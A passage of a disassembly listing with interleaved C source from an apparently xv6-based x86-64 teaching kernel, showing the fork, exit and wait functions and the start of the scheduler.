ffff80000010691e: 48 89 e5 mov %rsp,%rbp
ffff800000106921: 53 push %rbx
ffff800000106922: 48 83 ec 28 sub $0x28,%rsp
int i, pid;
struct proc *np;
// Allocate process.
if((np = allocproc()) == 0)
ffff800000106926: 48 b8 68 65 10 00 00 movabs $0xffff800000106568,%rax
ffff80000010692d: 80 ff ff
ffff800000106930: ff d0 callq *%rax
ffff800000106932: 48 89 45 e0 mov %rax,-0x20(%rbp)
ffff800000106936: 48 83 7d e0 00 cmpq $0x0,-0x20(%rbp)
ffff80000010693b: 75 0a jne ffff800000106947 <fork+0x2e>
return -1;
ffff80000010693d: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000106942: e9 85 02 00 00 jmpq ffff800000106bcc <fork+0x2b3>
// Copy process state from p.
if((np->pgdir = copyuvm(proc->pgdir, proc->sz)) == 0){
ffff800000106947: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010694e: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106952: 48 8b 00 mov (%rax),%rax
ffff800000106955: 89 c2 mov %eax,%edx
ffff800000106957: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff80000010695e: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106962: 48 8b 40 08 mov 0x8(%rax),%rax
ffff800000106966: 89 d6 mov %edx,%esi
ffff800000106968: 48 89 c7 mov %rax,%rdi
ffff80000010696b: 48 b8 90 be 10 00 00 movabs $0xffff80000010be90,%rax
ffff800000106972: 80 ff ff
ffff800000106975: ff d0 callq *%rax
ffff800000106977: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff80000010697b: 48 89 42 08 mov %rax,0x8(%rdx)
ffff80000010697f: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106983: 48 8b 40 08 mov 0x8(%rax),%rax
ffff800000106987: 48 85 c0 test %rax,%rax
ffff80000010698a: 75 38 jne ffff8000001069c4 <fork+0xab>
krelease(np->kstack);
ffff80000010698c: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106990: 48 8b 40 10 mov 0x10(%rax),%rax
ffff800000106994: 48 89 c7 mov %rax,%rdi
ffff800000106997: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff80000010699e: 80 ff ff
ffff8000001069a1: ff d0 callq *%rax
np->kstack = 0;
ffff8000001069a3: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001069a7: 48 c7 40 10 00 00 00 movq $0x0,0x10(%rax)
ffff8000001069ae: 00
np->state = UNUSED;
ffff8000001069af: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001069b3: c7 40 18 00 00 00 00 movl $0x0,0x18(%rax)
return -1;
ffff8000001069ba: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001069bf: e9 08 02 00 00 jmpq ffff800000106bcc <fork+0x2b3>
}
np->sz = proc->sz;
ffff8000001069c4: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001069cb: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001069cf: 48 8b 10 mov (%rax),%rdx
ffff8000001069d2: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001069d6: 48 89 10 mov %rdx,(%rax)
np->parent = proc;
ffff8000001069d9: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001069e0: 64 48 8b 10 mov %fs:(%rax),%rdx
ffff8000001069e4: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001069e8: 48 89 50 20 mov %rdx,0x20(%rax)
*np->tf = *proc->tf;
ffff8000001069ec: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff8000001069f3: 64 48 8b 00 mov %fs:(%rax),%rax
ffff8000001069f7: 48 8b 50 28 mov 0x28(%rax),%rdx
ffff8000001069fb: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff8000001069ff: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000106a03: 48 8b 0a mov (%rdx),%rcx
ffff800000106a06: 48 8b 5a 08 mov 0x8(%rdx),%rbx
ffff800000106a0a: 48 89 08 mov %rcx,(%rax)
ffff800000106a0d: 48 89 58 08 mov %rbx,0x8(%rax)
ffff800000106a11: 48 8b 4a 10 mov 0x10(%rdx),%rcx
ffff800000106a15: 48 8b 5a 18 mov 0x18(%rdx),%rbx
ffff800000106a19: 48 89 48 10 mov %rcx,0x10(%rax)
ffff800000106a1d: 48 89 58 18 mov %rbx,0x18(%rax)
ffff800000106a21: 48 8b 4a 20 mov 0x20(%rdx),%rcx
ffff800000106a25: 48 8b 5a 28 mov 0x28(%rdx),%rbx
ffff800000106a29: 48 89 48 20 mov %rcx,0x20(%rax)
ffff800000106a2d: 48 89 58 28 mov %rbx,0x28(%rax)
ffff800000106a31: 48 8b 4a 30 mov 0x30(%rdx),%rcx
ffff800000106a35: 48 8b 5a 38 mov 0x38(%rdx),%rbx
ffff800000106a39: 48 89 48 30 mov %rcx,0x30(%rax)
ffff800000106a3d: 48 89 58 38 mov %rbx,0x38(%rax)
ffff800000106a41: 48 8b 4a 40 mov 0x40(%rdx),%rcx
ffff800000106a45: 48 8b 5a 48 mov 0x48(%rdx),%rbx
ffff800000106a49: 48 89 48 40 mov %rcx,0x40(%rax)
ffff800000106a4d: 48 89 58 48 mov %rbx,0x48(%rax)
ffff800000106a51: 48 8b 4a 50 mov 0x50(%rdx),%rcx
ffff800000106a55: 48 8b 5a 58 mov 0x58(%rdx),%rbx
ffff800000106a59: 48 89 48 50 mov %rcx,0x50(%rax)
ffff800000106a5d: 48 89 58 58 mov %rbx,0x58(%rax)
ffff800000106a61: 48 8b 4a 60 mov 0x60(%rdx),%rcx
ffff800000106a65: 48 8b 5a 68 mov 0x68(%rdx),%rbx
ffff800000106a69: 48 89 48 60 mov %rcx,0x60(%rax)
ffff800000106a6d: 48 89 58 68 mov %rbx,0x68(%rax)
ffff800000106a71: 48 8b 4a 70 mov 0x70(%rdx),%rcx
ffff800000106a75: 48 8b 5a 78 mov 0x78(%rdx),%rbx
ffff800000106a79: 48 89 48 70 mov %rcx,0x70(%rax)
ffff800000106a7d: 48 89 58 78 mov %rbx,0x78(%rax)
ffff800000106a81: 48 8b 8a 80 00 00 00 mov 0x80(%rdx),%rcx
ffff800000106a88: 48 8b 9a 88 00 00 00 mov 0x88(%rdx),%rbx
ffff800000106a8f: 48 89 88 80 00 00 00 mov %rcx,0x80(%rax)
ffff800000106a96: 48 89 98 88 00 00 00 mov %rbx,0x88(%rax)
ffff800000106a9d: 48 8b 8a 90 00 00 00 mov 0x90(%rdx),%rcx
ffff800000106aa4: 48 8b 9a 98 00 00 00 mov 0x98(%rdx),%rbx
ffff800000106aab: 48 89 88 90 00 00 00 mov %rcx,0x90(%rax)
ffff800000106ab2: 48 89 98 98 00 00 00 mov %rbx,0x98(%rax)
ffff800000106ab9: 48 8b 8a a0 00 00 00 mov 0xa0(%rdx),%rcx
ffff800000106ac0: 48 8b 9a a8 00 00 00 mov 0xa8(%rdx),%rbx
ffff800000106ac7: 48 89 88 a0 00 00 00 mov %rcx,0xa0(%rax)
ffff800000106ace: 48 89 98 a8 00 00 00 mov %rbx,0xa8(%rax)
// Clear %rax so that fork returns 0 in the child.
np->tf->rax = 0;
ffff800000106ad5: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106ad9: 48 8b 40 28 mov 0x28(%rax),%rax
ffff800000106add: 48 c7 00 00 00 00 00 movq $0x0,(%rax)
for(i = 0; i < NOFILE; i++)
ffff800000106ae4: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp)
ffff800000106aeb: eb 5f jmp ffff800000106b4c <fork+0x233>
if(proc->ofile[i])
ffff800000106aed: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106af4: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106af8: 8b 55 ec mov -0x14(%rbp),%edx
ffff800000106afb: 48 63 d2 movslq %edx,%rdx
ffff800000106afe: 48 83 c2 08 add $0x8,%rdx
ffff800000106b02: 48 8b 44 d0 08 mov 0x8(%rax,%rdx,8),%rax
ffff800000106b07: 48 85 c0 test %rax,%rax
ffff800000106b0a: 74 3c je ffff800000106b48 <fork+0x22f>
np->ofile[i] = filedup(proc->ofile[i]);
ffff800000106b0c: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106b13: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106b17: 8b 55 ec mov -0x14(%rbp),%edx
ffff800000106b1a: 48 63 d2 movslq %edx,%rdx
ffff800000106b1d: 48 83 c2 08 add $0x8,%rdx
ffff800000106b21: 48 8b 44 d0 08 mov 0x8(%rax,%rdx,8),%rax
ffff800000106b26: 48 89 c7 mov %rax,%rdi
ffff800000106b29: 48 b8 1a 1c 10 00 00 movabs $0xffff800000101c1a,%rax
ffff800000106b30: 80 ff ff
ffff800000106b33: ff d0 callq *%rax
ffff800000106b35: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff800000106b39: 8b 4d ec mov -0x14(%rbp),%ecx
ffff800000106b3c: 48 63 c9 movslq %ecx,%rcx
ffff800000106b3f: 48 83 c1 08 add $0x8,%rcx
ffff800000106b43: 48 89 44 ca 08 mov %rax,0x8(%rdx,%rcx,8)
for(i = 0; i < NOFILE; i++)
ffff800000106b48: 83 45 ec 01 addl $0x1,-0x14(%rbp)
ffff800000106b4c: 83 7d ec 0f cmpl $0xf,-0x14(%rbp)
ffff800000106b50: 7e 9b jle ffff800000106aed <fork+0x1d4>
np->cwd = idup(proc->cwd);
ffff800000106b52: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106b59: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106b5d: 48 8b 80 c8 00 00 00 mov 0xc8(%rax),%rax
ffff800000106b64: 48 89 c7 mov %rax,%rdi
ffff800000106b67: 48 b8 95 28 10 00 00 movabs $0xffff800000102895,%rax
ffff800000106b6e: 80 ff ff
ffff800000106b71: ff d0 callq *%rax
ffff800000106b73: 48 8b 55 e0 mov -0x20(%rbp),%rdx
ffff800000106b77: 48 89 82 c8 00 00 00 mov %rax,0xc8(%rdx)
safestrcpy(np->name, proc->name, sizeof(proc->name));
ffff800000106b7e: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106b85: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106b89: 48 8d 88 d0 00 00 00 lea 0xd0(%rax),%rcx
ffff800000106b90: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106b94: 48 05 d0 00 00 00 add $0xd0,%rax
ffff800000106b9a: ba 10 00 00 00 mov $0x10,%edx
ffff800000106b9f: 48 89 ce mov %rcx,%rsi
ffff800000106ba2: 48 89 c7 mov %rax,%rdi
ffff800000106ba5: 48 b8 d3 7e 10 00 00 movabs $0xffff800000107ed3,%rax
ffff800000106bac: 80 ff ff
ffff800000106baf: ff d0 callq *%rax
pid = np->pid;
ffff800000106bb1: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106bb5: 8b 40 1c mov 0x1c(%rax),%eax
ffff800000106bb8: 89 45 dc mov %eax,-0x24(%rbp)
__sync_synchronize();
ffff800000106bbb: 0f ae f0 mfence
np->state = RUNNABLE;
ffff800000106bbe: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000106bc2: c7 40 18 03 00 00 00 movl $0x3,0x18(%rax)
return pid;
ffff800000106bc9: 8b 45 dc mov -0x24(%rbp),%eax
}
ffff800000106bcc: 48 83 c4 28 add $0x28,%rsp
ffff800000106bd0: 5b pop %rbx
ffff800000106bd1: 5d pop %rbp
ffff800000106bd2: c3 retq
ffff800000106bd3 <exit>:
// Exit the current process. Does not return.
// An exited process remains in the zombie state
// until its parent calls wait() to find out it exited.
void
exit(void)
{
ffff800000106bd3: f3 0f 1e fa endbr64
ffff800000106bd7: 55 push %rbp
ffff800000106bd8: 48 89 e5 mov %rsp,%rbp
ffff800000106bdb: 48 83 ec 10 sub $0x10,%rsp
struct proc *p;
int fd;
if(proc == initproc)
ffff800000106bdf: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106be6: 64 48 8b 10 mov %fs:(%rax),%rdx
ffff800000106bea: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff800000106bf1: 80 ff ff
ffff800000106bf4: 48 8b 00 mov (%rax),%rax
ffff800000106bf7: 48 39 c2 cmp %rax,%rdx
ffff800000106bfa: 75 16 jne ffff800000106c12 <exit+0x3f>
panic("init exiting");
ffff800000106bfc: 48 bf f6 c7 10 00 00 movabs $0xffff80000010c7f6,%rdi
ffff800000106c03: 80 ff ff
ffff800000106c06: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000106c0d: 80 ff ff
ffff800000106c10: ff d0 callq *%rax
// Close all open files.
for(fd = 0; fd < NOFILE; fd++){
ffff800000106c12: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%rbp)
ffff800000106c19: eb 6a jmp ffff800000106c85 <exit+0xb2>
if(proc->ofile[fd]){
ffff800000106c1b: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106c22: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106c26: 8b 55 f4 mov -0xc(%rbp),%edx
ffff800000106c29: 48 63 d2 movslq %edx,%rdx
ffff800000106c2c: 48 83 c2 08 add $0x8,%rdx
ffff800000106c30: 48 8b 44 d0 08 mov 0x8(%rax,%rdx,8),%rax
ffff800000106c35: 48 85 c0 test %rax,%rax
ffff800000106c38: 74 47 je ffff800000106c81 <exit+0xae>
fileclose(proc->ofile[fd]);
ffff800000106c3a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106c41: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106c45: 8b 55 f4 mov -0xc(%rbp),%edx
ffff800000106c48: 48 63 d2 movslq %edx,%rdx
ffff800000106c4b: 48 83 c2 08 add $0x8,%rdx
ffff800000106c4f: 48 8b 44 d0 08 mov 0x8(%rax,%rdx,8),%rax
ffff800000106c54: 48 89 c7 mov %rax,%rdi
ffff800000106c57: 48 b8 8e 1c 10 00 00 movabs $0xffff800000101c8e,%rax
ffff800000106c5e: 80 ff ff
ffff800000106c61: ff d0 callq *%rax
proc->ofile[fd] = 0;
ffff800000106c63: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106c6a: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106c6e: 8b 55 f4 mov -0xc(%rbp),%edx
ffff800000106c71: 48 63 d2 movslq %edx,%rdx
ffff800000106c74: 48 83 c2 08 add $0x8,%rdx
ffff800000106c78: 48 c7 44 d0 08 00 00 movq $0x0,0x8(%rax,%rdx,8)
ffff800000106c7f: 00 00
for(fd = 0; fd < NOFILE; fd++){
ffff800000106c81: 83 45 f4 01 addl $0x1,-0xc(%rbp)
ffff800000106c85: 83 7d f4 0f cmpl $0xf,-0xc(%rbp)
ffff800000106c89: 7e 90 jle ffff800000106c1b <exit+0x48>
}
}
begin_op();
ffff800000106c8b: b8 00 00 00 00 mov $0x0,%eax
ffff800000106c90: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff800000106c97: 80 ff ff
ffff800000106c9a: ff d2 callq *%rdx
iput(proc->cwd);
ffff800000106c9c: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106ca3: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106ca7: 48 8b 80 c8 00 00 00 mov 0xc8(%rax),%rax
ffff800000106cae: 48 89 c7 mov %rax,%rdi
ffff800000106cb1: 48 b8 ea 2a 10 00 00 movabs $0xffff800000102aea,%rax
ffff800000106cb8: 80 ff ff
ffff800000106cbb: ff d0 callq *%rax
end_op();
ffff800000106cbd: b8 00 00 00 00 mov $0x0,%eax
ffff800000106cc2: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000106cc9: 80 ff ff
ffff800000106ccc: ff d2 callq *%rdx
proc->cwd = 0;
ffff800000106cce: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106cd5: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106cd9: 48 c7 80 c8 00 00 00 movq $0x0,0xc8(%rax)
ffff800000106ce0: 00 00 00 00
acquire(&ptable.lock);
ffff800000106ce4: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000106ceb: 80 ff ff
ffff800000106cee: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000106cf5: 80 ff ff
ffff800000106cf8: ff d0 callq *%rax
// Parent might be sleeping in wait().
wakeup1(proc->parent);
ffff800000106cfa: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106d01: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106d05: 48 8b 40 20 mov 0x20(%rax),%rax
ffff800000106d09: 48 89 c7 mov %rax,%rdi
ffff800000106d0c: 48 b8 57 73 10 00 00 movabs $0xffff800000107357,%rax
ffff800000106d13: 80 ff ff
ffff800000106d16: ff d0 callq *%rax
// Pass abandoned children to init.
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff800000106d18: 48 b8 a8 74 1f 00 00 movabs $0xffff8000001f74a8,%rax
ffff800000106d1f: 80 ff ff
ffff800000106d22: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000106d26: eb 5d jmp ffff800000106d85 <exit+0x1b2>
if(p->parent == proc){
ffff800000106d28: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106d2c: 48 8b 50 20 mov 0x20(%rax),%rdx
ffff800000106d30: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106d37: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106d3b: 48 39 c2 cmp %rax,%rdx
ffff800000106d3e: 75 3d jne ffff800000106d7d <exit+0x1aa>
p->parent = initproc;
ffff800000106d40: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff800000106d47: 80 ff ff
ffff800000106d4a: 48 8b 10 mov (%rax),%rdx
ffff800000106d4d: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106d51: 48 89 50 20 mov %rdx,0x20(%rax)
if(p->state == ZOMBIE)
ffff800000106d55: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106d59: 8b 40 18 mov 0x18(%rax),%eax
ffff800000106d5c: 83 f8 05 cmp $0x5,%eax
ffff800000106d5f: 75 1c jne ffff800000106d7d <exit+0x1aa>
wakeup1(initproc);
ffff800000106d61: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff800000106d68: 80 ff ff
ffff800000106d6b: 48 8b 00 mov (%rax),%rax
ffff800000106d6e: 48 89 c7 mov %rax,%rdi
ffff800000106d71: 48 b8 57 73 10 00 00 movabs $0xffff800000107357,%rax
ffff800000106d78: 80 ff ff
ffff800000106d7b: ff d0 callq *%rax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff800000106d7d: 48 81 45 f8 e0 00 00 addq $0xe0,-0x8(%rbp)
ffff800000106d84: 00
ffff800000106d85: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff800000106d8c: 80 ff ff
ffff800000106d8f: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff800000106d93: 72 93 jb ffff800000106d28 <exit+0x155>
}
}
// Jump into the scheduler, never to return.
proc->state = ZOMBIE;
ffff800000106d95: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106d9c: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106da0: c7 40 18 05 00 00 00 movl $0x5,0x18(%rax)
sched();
ffff800000106da7: 48 b8 80 70 10 00 00 movabs $0xffff800000107080,%rax
ffff800000106dae: 80 ff ff
ffff800000106db1: ff d0 callq *%rax
panic("zombie exit");
ffff800000106db3: 48 bf 03 c8 10 00 00 movabs $0xffff80000010c803,%rdi
ffff800000106dba: 80 ff ff
ffff800000106dbd: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000106dc4: 80 ff ff
ffff800000106dc7: ff d0 callq *%rax
ffff800000106dc9 <wait>:
//PAGEBREAK!
// Wait for a child process to exit and return its pid.
// Return -1 if this process has no children.
int
wait(void)
{
ffff800000106dc9: f3 0f 1e fa endbr64
ffff800000106dcd: 55 push %rbp
ffff800000106dce: 48 89 e5 mov %rsp,%rbp
ffff800000106dd1: 48 83 ec 10 sub $0x10,%rsp
struct proc *p;
int havekids, pid;
acquire(&ptable.lock);
ffff800000106dd5: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000106ddc: 80 ff ff
ffff800000106ddf: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000106de6: 80 ff ff
ffff800000106de9: ff d0 callq *%rax
for(;;){
// Scan through table looking for exited children.
havekids = 0;
ffff800000106deb: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%rbp)
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff800000106df2: 48 b8 a8 74 1f 00 00 movabs $0xffff8000001f74a8,%rax
ffff800000106df9: 80 ff ff
ffff800000106dfc: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000106e00: e9 d3 00 00 00 jmpq ffff800000106ed8 <wait+0x10f>
if(p->parent != proc)
ffff800000106e05: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e09: 48 8b 50 20 mov 0x20(%rax),%rdx
ffff800000106e0d: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106e14: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106e18: 48 39 c2 cmp %rax,%rdx
ffff800000106e1b: 0f 85 ae 00 00 00 jne ffff800000106ecf <wait+0x106>
continue;
havekids = 1;
ffff800000106e21: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%rbp)
if(p->state == ZOMBIE){
ffff800000106e28: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e2c: 8b 40 18 mov 0x18(%rax),%eax
ffff800000106e2f: 83 f8 05 cmp $0x5,%eax
ffff800000106e32: 0f 85 98 00 00 00 jne ffff800000106ed0 <wait+0x107>
// Found one.
pid = p->pid;
ffff800000106e38: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e3c: 8b 40 1c mov 0x1c(%rax),%eax
ffff800000106e3f: 89 45 f0 mov %eax,-0x10(%rbp)
krelease(p->kstack);
ffff800000106e42: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e46: 48 8b 40 10 mov 0x10(%rax),%rax
ffff800000106e4a: 48 89 c7 mov %rax,%rdi
ffff800000106e4d: 48 b8 20 43 10 00 00 movabs $0xffff800000104320,%rax
ffff800000106e54: 80 ff ff
ffff800000106e57: ff d0 callq *%rax
p->kstack = 0;
ffff800000106e59: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e5d: 48 c7 40 10 00 00 00 movq $0x0,0x10(%rax)
ffff800000106e64: 00
freevm(p->pgdir);
ffff800000106e65: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e69: 48 8b 40 08 mov 0x8(%rax),%rax
ffff800000106e6d: 48 89 c7 mov %rax,%rdi
ffff800000106e70: 48 b8 ec bb 10 00 00 movabs $0xffff80000010bbec,%rax
ffff800000106e77: 80 ff ff
ffff800000106e7a: ff d0 callq *%rax
p->pid = 0;
ffff800000106e7c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e80: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%rax)
p->parent = 0;
ffff800000106e87: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e8b: 48 c7 40 20 00 00 00 movq $0x0,0x20(%rax)
ffff800000106e92: 00
p->name[0] = 0;
ffff800000106e93: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106e97: c6 80 d0 00 00 00 00 movb $0x0,0xd0(%rax)
p->killed = 0;
ffff800000106e9e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106ea2: c7 40 40 00 00 00 00 movl $0x0,0x40(%rax)
p->state = UNUSED;
ffff800000106ea9: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000106ead: c7 40 18 00 00 00 00 movl $0x0,0x18(%rax)
release(&ptable.lock);
ffff800000106eb4: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000106ebb: 80 ff ff
ffff800000106ebe: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000106ec5: 80 ff ff
ffff800000106ec8: ff d0 callq *%rax
return pid;
ffff800000106eca: 8b 45 f0 mov -0x10(%rbp),%eax
ffff800000106ecd: eb 7b jmp ffff800000106f4a <wait+0x181>
continue;
ffff800000106ecf: 90 nop
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff800000106ed0: 48 81 45 f8 e0 00 00 addq $0xe0,-0x8(%rbp)
ffff800000106ed7: 00
ffff800000106ed8: 48 b8 a8 ac 1f 00 00 movabs $0xffff8000001faca8,%rax
ffff800000106edf: 80 ff ff
ffff800000106ee2: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff800000106ee6: 0f 82 19 ff ff ff jb ffff800000106e05 <wait+0x3c>
}
}
// No point waiting if we don't have any children.
if(!havekids || proc->killed){
ffff800000106eec: 83 7d f4 00 cmpl $0x0,-0xc(%rbp)
ffff800000106ef0: 74 12 je ffff800000106f04 <wait+0x13b>
ffff800000106ef2: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106ef9: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106efd: 8b 40 40 mov 0x40(%rax),%eax
ffff800000106f00: 85 c0 test %eax,%eax
ffff800000106f02: 74 1d je ffff800000106f21 <wait+0x158>
release(&ptable.lock);
ffff800000106f04: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000106f0b: 80 ff ff
ffff800000106f0e: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000106f15: 80 ff ff
ffff800000106f18: ff d0 callq *%rax
return -1;
ffff800000106f1a: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000106f1f: eb 29 jmp ffff800000106f4a <wait+0x181>
}
// Wait for children to exit. (See wakeup1 call in proc_exit.)
sleep(proc, &ptable.lock); //DOC: wait-sleep
ffff800000106f21: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000106f28: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000106f2c: 48 be 40 74 1f 00 00 movabs $0xffff8000001f7440,%rsi
ffff800000106f33: 80 ff ff
ffff800000106f36: 48 89 c7 mov %rax,%rdi
ffff800000106f39: 48 b8 47 72 10 00 00 movabs $0xffff800000107247,%rax
ffff800000106f40: 80 ff ff
ffff800000106f43: ff d0 callq *%rax
havekids = 0;
ffff800000106f45: e9 a1 fe ff ff jmpq ffff800000106deb <wait+0x22>
}
}
ffff800000106f4a: c9 leaveq
ffff800000106f4b: c3 retq
ffff800000106f4c <scheduler>:
// - swtch to start running that process
// - eventually that process transfers control
// via swtch back to the scheduler.
void
scheduler(void)
{
ffff800000106f4c: f3 0f 1e fa endbr64
ffff800000106f50: 55 push %rbp
ffff800000106f51: 48 89 e5 mov %rsp,%rbp
ffff800000106f54: 48 83 ec 20 sub $0x20,%rsp
int i = 0;
ffff800000106f58: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%rbp)
struct proc *p;
int skipped = 0;
ffff800000106f5f: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp)
for(;;){
++i;
ffff800000106f66: 83 45 fc 01 addl $0x1,-0x4(%rbp)
// Enable interrupts on this processor.
sti();
ffff800000106f6a: 48 b8 25 65 10 00 00 movabs $0xffff800000106525,%rax
ffff800000106f71: 80 ff ff
ffff800000106f74: ff d0 callq *%rax
// Loop over process table looking for process to run.
acquire(&ptable.lock);
ffff800000106f76: 48 bf 40 74 1f 00 00 movabs $0xffff8000001f7440,%rdi
ffff800000106f7d: 80 ff ff
ffff800000106f80: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff800000106f87: 80 ff ff
ffff800000106f8a: ff d0 callq *%rax
for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){
ffff800000106f8c: 48 b8 a8 74 1f 00 00 movabs $0xffff8000001f74a8,%rax
ffff800000106f93: 80 ff ff
ffff800000106f96: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff800000106f9a: e9 92 00 00 00 jmpq ffff800000107031 <scheduler+0xe5>
if(p->state != RUNNABLE) {
ffff800000106f9f: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000106fa3: 8b 40 18 mov 0x18(%rax),%eax
ffff800000106fa6: 83 f8 03 cmp $0x3,%eax
ffff800000106fa9: 74 06 je ffff800000106fb1 <scheduler+0x65>
skipped++;
ffff800000106fab: 83 45 ec 01 addl $0x1,-0x14(%rbp)
continue;
ffff800000106faf: eb 78 jmp ffff800000107029 <scheduler+0xdd>
}
skipped = 0;
ffff800000106fb1: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%rbp)
// Switch to chosen process. It is the process's job
// to release ptable.lock and then reacquire it
// before jumping back to us.
proc = p;
